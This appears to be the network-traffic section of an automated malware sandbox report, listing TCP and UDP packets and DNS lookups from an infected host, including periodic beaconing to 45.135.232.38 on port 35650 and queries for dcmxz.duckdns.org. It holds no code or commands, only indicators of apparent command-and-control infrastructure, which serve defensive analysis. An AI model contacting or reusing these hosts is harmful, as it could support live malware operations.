Sep 26, 2024 10:57:58.217402935 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:58.393651962 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:58.396378994 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:58.398267031 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:58.403363943 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:57:58.404187918 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:57:58.409024000 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:02.723141909 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:02.723299026 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:02.723344088 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:02.768906116 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.116492033 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.116564035 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.220815897 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.231661081 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.231723070 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.336314917 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.336337090 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.336391926 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.336466074 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.336507082 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.336524963 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.336566925 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.336957932 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.337021112 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.337114096 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.337136030 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.378120899 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.467477083 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.467509985 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.571913958 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.571990013 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.572088957 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.572110891 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.572153091 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.572164059 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.572621107 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.572710991 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.572724104 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.572734118 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.572845936 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.573226929 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.573286057 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.573309898 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.573326111 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.573333979 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.573378086 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.574042082 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.574088097 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.574167967 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.574187994 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.574196100 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.574400902 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.574865103 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.574913025 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.574969053 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.574979067 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.574986935 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.575076103 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.575686932 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.575754881 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.575799942 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.575809002 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.581489086 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.581552982 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.660598993 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660618067 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660695076 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.660727024 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660758972 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660789967 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660804987 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.660815001 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660829067 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.660866022 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660875082 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660896063 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660912991 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.660922050 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.660939932 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.661705971 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.661714077 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.661761999 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.661772966 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.661866903 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.661900043 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.661905050 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.661916018 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.661922932 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.661946058 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.661973953 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.662614107 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.662755013 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.662787914 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.662823915 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.662832975 CEST	443	49719	15.235.85.194	192.168.2.5
Sep 26, 2024 10:58:03.662863016 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:03.664195061 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:03.669075966 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:03.669311047 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:03.669411898 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:03.674422979 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:03.706238985 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:04.406827927 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.406929970 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.406970978 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.406980991 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.407016039 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.407057047 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.407068014 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.407118082 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.407151937 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.407154083 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.407186031 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.407217979 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.407224894 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.407253027 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.407289028 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.412096024 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.412127018 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.412172079 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.529109001 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529167891 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529200077 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529227018 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.529294968 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529330969 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529340982 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.529364109 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529400110 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.529721975 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529772997 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529805899 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529818058 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.529844046 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.529887915 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.529896021 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.530555010 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.530600071 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.530603886 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.530638933 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.530672073 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.530683994 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.530705929 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.530749083 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.531461000 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.531493902 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.531538010 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.531544924 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.531578064 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.531610012 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.531621933 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.532294989 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.532340050 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.620131016 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.620151997 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.620170116 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.620187044 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.620199919 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.620202065 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.620237112 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.651724100 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.651786089 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.651799917 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.651856899 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.651891947 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.651905060 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.651926994 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.651983023 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.651999950 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652065992 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652100086 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652107954 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.652134895 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652168036 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652175903 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.652632952 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652684927 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652688026 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.652718067 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652756929 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.652800083 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652832031 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652864933 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652870893 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.652899981 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.652940989 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:04.653522968 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.653557062 CEST	80	49721	91.202.233.169	192.168.2.5
Sep 26, 2024 10:58:04.653599977 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:05.091562986 CEST	49721	80	192.168.2.5	91.202.233.169
Sep 26, 2024 10:58:05.091957092 CEST	49719	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:58:10.753695965 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:10.758760929 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:10.758868933 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:10.763715982 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:10.803675890 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:10.878137112 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:10.970331907 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:11.081254959 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:11.095257998 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:11.267667055 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:11.267779112 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:11.269254923 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:11.274095058 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:11.274178982 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:11.279161930 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:23.678879976 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:23.683937073 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:23.684022903 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:23.688993931 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:24.126996994 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:24.237782001 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:24.237899065 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:24.239316940 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:24.245008945 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:24.245099068 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:24.250251055 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:36.597508907 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:36.602344036 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:36.602416992 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:36.607243061 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:36.987849951 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:37.081249952 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:37.158428907 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:37.160594940 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:37.165360928 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:37.165426970 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:37.170270920 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:40.815490961 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:40.878158092 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:40.986665010 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:41.081234932 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:49.519232035 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:49.524168968 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:49.525865078 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:49.530714989 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:49.906706095 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:49.956255913 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:50.096574068 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:50.099368095 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:50.104219913 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:58:50.105870008 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:58:50.110666037 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:02.545100927 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:02.550035000 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:02.550096035 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:02.554951906 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:02.930661917 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:03.018763065 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:03.096777916 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:03.098696947 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:03.103508949 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:03.103570938 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:03.108462095 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:10.806092024 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:10.846882105 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:10.971839905 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:11.018744946 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:15.394311905 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:15.399131060 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:15.399207115 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:15.404181004 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:15.780108929 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:15.831278086 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:15.956537962 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:15.958694935 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:15.964071989 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:15.964272976 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:15.969748020 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:28.316004992 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:28.320956945 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:28.321182966 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:28.326164007 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:28.702270985 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:28.753181934 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:28.878516912 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:28.880593061 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:28.885377884 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:28.885519981 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:28.890326023 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:40.803240061 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:40.846905947 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:40.973139048 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:41.018781900 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:41.238261938 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:41.243068933 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:41.243180037 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:41.248019934 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:41.623162031 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:41.675071955 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:41.800390959 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:41.804780960 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:41.809657097 CEST	35650	49710	45.135.232.38	192.168.2.5
Sep 26, 2024 10:59:41.809727907 CEST	49710	35650	192.168.2.5	45.135.232.38
Sep 26, 2024 10:59:41.814546108 CEST	35650	49710	45.135.232.38	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 10:57:00.552860022 CEST	49901	53	192.168.2.5	1.1.1.1
Sep 26, 2024 10:57:00.825592041 CEST	53	49901	1.1.1.1	192.168.2.5
Sep 26, 2024 10:57:06.152964115 CEST	59120	53	192.168.2.5	1.1.1.1
Sep 26, 2024 10:57:07.154015064 CEST	59120	53	192.168.2.5	1.1.1.1
Sep 26, 2024 10:57:08.172272921 CEST	59120	53	192.168.2.5	1.1.1.1
Sep 26, 2024 10:57:10.162242889 CEST	53	59120	1.1.1.1	192.168.2.5
Sep 26, 2024 10:57:10.162262917 CEST	53	59120	1.1.1.1	192.168.2.5
Sep 26, 2024 10:57:10.162301064 CEST	53	59120	1.1.1.1	192.168.2.5
Sep 26, 2024 10:57:15.176388025 CEST	51876	53	192.168.2.5	1.1.1.1
Sep 26, 2024 10:57:15.824561119 CEST	53	51876	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 10:57:00.552860022 CEST	192.168.2.5	1.1.1.1	0x4f92	Standard query (0)	www.informacionoportuna.com	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:57:06.152964115 CEST	192.168.2.5	1.1.1.1	0x4c3c	Standard query (0)	dcmxz.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:57:07.154015064 CEST	192.168.2.5	1.1.1.1	0x4c3c	Standard query (0)	dcmxz.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:57:08.172272921 CEST	192.168.2.5	1.1.1.1	0x4c3c	Standard query (0)	dcmxz.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:57:15.176388025 CEST	192.168.2.5	1.1.1.1	0xd90e	Standard query (0)	dcmxz.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 10:57:00.825592041 CEST	1.1.1.1	192.168.2.5	0x4f92	No error (0)	www.informacionoportuna.com	informacionoportuna.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 10:57:00.825592041 CEST	1.1.1.1	192.168.2.5	0x4f92	No error (0)	informacionoportuna.com		15.235.85.194	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:57:10.162242889 CEST	1.1.1.1	192.168.2.5	0x4c3c	Server failure (2)	dcmxz.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:57:10.162262917 CEST	1.1.1.1	192.168.2.5	0x4c3c	Server failure (2)	dcmxz.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:57:10.162301064 CEST	1.1.1.1	192.168.2.5	0x4c3c	Server failure (2)	dcmxz.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
